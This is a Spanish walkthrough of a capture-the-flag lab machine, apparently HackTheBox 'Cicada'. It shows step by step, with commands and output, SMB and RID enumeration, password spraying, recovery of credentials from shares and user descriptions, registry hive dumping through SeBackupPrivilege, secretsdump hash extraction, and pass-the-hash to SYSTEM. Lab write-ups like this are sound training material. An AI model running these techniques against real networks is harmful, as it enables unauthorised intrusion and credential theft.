SMBMap
SMBMap permite a los usuarios enumerar unidades compartidas de Samba en todo un dominio. Enumere unidades compartidas, permisos de unidades, contenidos compartidos, funcionalidad de carga/descarga, coincidencia de patrones de descarga automática de nombres de archivos e incluso ejecute comandos remotos. Esta herramienta se diseñó teniendo en cuenta las pruebas de penetración y tiene como objetivo simplificar la búsqueda de datos potencialmente confidenciales en redes grandes.
smbmap -H 10.10.11.35 -u 'guest' -p '' > smbmap-output.txt
smbclient
smbclient //10.10.11.35/HR -U 'guest'
En este directorio encontraremos un archivo que podemos descargar, en él hay una contraseña por defecto:
get Notice from HR.txt
considerar el uso de smbclient-ng
Enumeración de RIDs (Relative Identifiers)
El objetivo de esta técnica es aprovechar la cuenta de invitado para hacer enumeración de RIDs (Relative Identifiers) y detectar usuarios existentes, podemos hacerlo con CrackMapExec:
crackmapexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute | grep "SidTypeUser"
Crearemos un archivo con los usuarios encontrados (users.txt)
Password Spraying
Con la contraseña identificada y el archivo de usuarios:
poetry run crackmapexec smb 10.10.11.35 -u ./users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
Determinamos que el password es válido para el usuario michael.wrightson
enum4linux-ng
Utilizaremos enum4linux-ng (next generation).
Utilizando las credenciales que encontramos:
enum4linux-ng -A -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' 10.10.11.35 -t 10
-A: Realiza toda la enumeración simple, incluyendo nmblookup (-U -G -S -P -O -N -I -L). Esta opción se habilita si no proporcionas ninguna otra opción.
-u: usuario o lista de usuarios
-p: Contraseña
-t: Establece el timeout para la conexión (por defecto 5 segundos).
En la salida de la sección «Users via RPC» encontramos la contraseña del usuario david.orelious en la descripción de su perfil.
Acceso a directorio DEV
Con las credenciales que encontramos podemos acceder al directorio DEV
smbclient //10.10.11.35/DEV -U david.orelious
Hay un archivo llamado ‘Backup_script.ps1’ que descargaremos a nuestro equipo
get Backup_script.ps1
Dentro de este archivo encotremos las credenciales del usuario emily.oscars
Evil-WinRM y la 1ra flag encontrada
Esta herramienta nos permite acceder de forma remota en un equipo haciendo uso de Windows Remote Management (WinRM)
evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
Encontraremos la flag en el directorio Desktop
Acceso como Administrator
Analizamos los permisos del usuario emily.oscars
whoami /all
SeBackupPrivilege está habilitado y el usuario pertenece al grupo Backup Operators, lo que indica que se puede exportar el archivo sam y system desde el registro a la carpeta desde donde se ejecuta el comando.
USER INFORMATION
----------------
User Name SID
=================== =============================================
cicada\emily.oscars S-1-5-21-917908876-1423158569-3159038727-1601
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
Así que podemos realizar un respaldo de las bases de datos SAM y System:
reg save hklm\sam sam.hive
reg save hklm\system system.hive
Descargamos los archivos a nuestra computadora:
download sam.hive
download system.hive
secretsdump.py de Impacket
secretsdump.py es una herramienta de la suite Impacket utilizada para extraer hashes de contraseñas y otra información sensible de archivos de registro (hives) del sistema Windows, incluyendo SAM y SYSTEM.
python3 secretsdump.py -sam ./sam.hive -system ./system.hive LOCAL
-sam sam.hive
: Indica el archivo de la clave SAM
.
-system system.hive
: Indica el archivo de la clave SYSTEM
.
LOCAL
: Especifica que se hará un volcado local en lugar de conectarse a un sistema remoto.
La salida
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[-] NTDSHashes.__init__() got an unexpected keyword argument 'skipUser'
[*] Cleaning up...
pass-the-hash (PTH) y última Flag
psexec.py
(Opción 1)
Usaremos psexec.py
de Impacket, que permite ejecutar comandos en un sistema remoto usando el hash NTLM en lugar de la contraseña.
python3 psexec.py Administrator@10.10.11.35 -hashes :2b87e7c93a3e8a0ea4a581937016f341
Acceso privilegiado:
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Requesting shares on 10.10.11.35.....
[*] Found writable share ADMIN$
[*] Uploading file OsqGyboT.exe
[*] Opening SVCManager on 10.10.11.35.....
[*] Creating service FLvS on 10.10.11.35.....
[*] Starting service FLvS.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.2700]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Evil-WinRM – (Opción 2)
evil-winrm -i 10.10.11.35 -u 'Administrator' -H ''
Acceso privilegiado:
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cicada\administrator
También podríamos:
Subir y descargar archivos
Para subir un archivo al sistema de destino:
upload /ruta/local/del/archivo.ps1
Para descargar un archivo del sistema remoto:
download C:\ruta\remota\archivo.txt
Ejecución de scripts de PowerShell en el sistema remoto
Una vez conectado, puedes ejecutar scripts de PowerShell directamente en la sesión. Por ejemplo, para listar los procesos en ejecución en el sistema remoto:
Get-Process